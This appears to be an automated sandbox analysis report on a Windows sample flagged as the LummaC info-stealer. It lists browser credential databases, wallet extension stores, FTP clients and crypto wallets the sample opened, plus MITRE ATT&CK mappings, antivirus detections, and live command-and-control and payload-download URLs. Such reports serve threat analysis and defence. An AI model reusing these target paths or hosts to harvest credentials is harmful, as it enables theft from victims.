Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2370285504.000000000076A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yuij5p5p3W.exe PID: 7108, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: yuij5p5p3W.exe PID: 7108, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	5 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
yuij5p5p3W.exe	49%	Virustotal		Browse
yuij5p5p3W.exe	61%	ReversingLabs	Win32.Spyware.Lummastealer
yuij5p5p3W.exe	100%	Avira	TR/Crypt.TPM.Gen
yuij5p5p3W.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exeu	0%	Avira URL Cloud	safe
https://observerfry.lat/t	0%	Avira URL Cloud	safe
https://observerfry.lat/apisw	0%	Avira URL Cloud	safe
https://observerfry.lat/m	0%	Avira URL Cloud	safe
https://observerfry.lat/tem	0%	Avira URL Cloud	safe
https://bbc-object-storage--frontbucket.us-east-1.pr	0%	Avira URL Cloud	safe
https://observerfry.lat/G	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=16964251364	0%	Avira URL Cloud	safe
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	0%	Avira URL Cloud	safe
https://observerfry.lat/apiObGoF	0%	Avira URL Cloud	safe
https://observerfry.lat/x	0%	Avira URL Cloud	safe
https://dz8aopenkvv6s.cloudfront.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	54.231.128.9	true	false	high
bitbucket.org	185.166.143.50	true	false	high
observerfry.lat	104.21.36.201	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
slipperyloo.lat	false	high
curverpluch.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high
bashfulacid.lat	false	high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe	false	high
observerfry.lat	false	high
wordyfindy.lat	false	high
https://observerfry.lat/api	false	high
shapestickyr.lat	false	high
talkynicer.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe.0	yuij5p5p3W.exe, 00000000.00000002.2628407155.00000000003EA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-	yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/m	yuij5p5p3W.exe, 00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2370285504.000000000076A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/t	yuij5p5p3W.exe, 00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2370285504.000000000076A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/pi	yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000765000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/d	yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/G	yuij5p5p3W.exe, 00000000.00000003.2345096881.00000000053D0000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2345183321.00000000053D7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apisw	yuij5p5p3W.exe, 00000000.00000003.2435146758.0000000000790000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491871828.0000000000782000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491980242.000000000078F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeu	yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491871828.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aui-cdn.atlassian.com/	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=16964251364	yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000765000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-websiteX-Frame-OptionsSAMEORIGINX-	yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat:443/api	yuij5p5p3W.exe, 00000000.00000003.2396889754.0000000000770000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/	yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
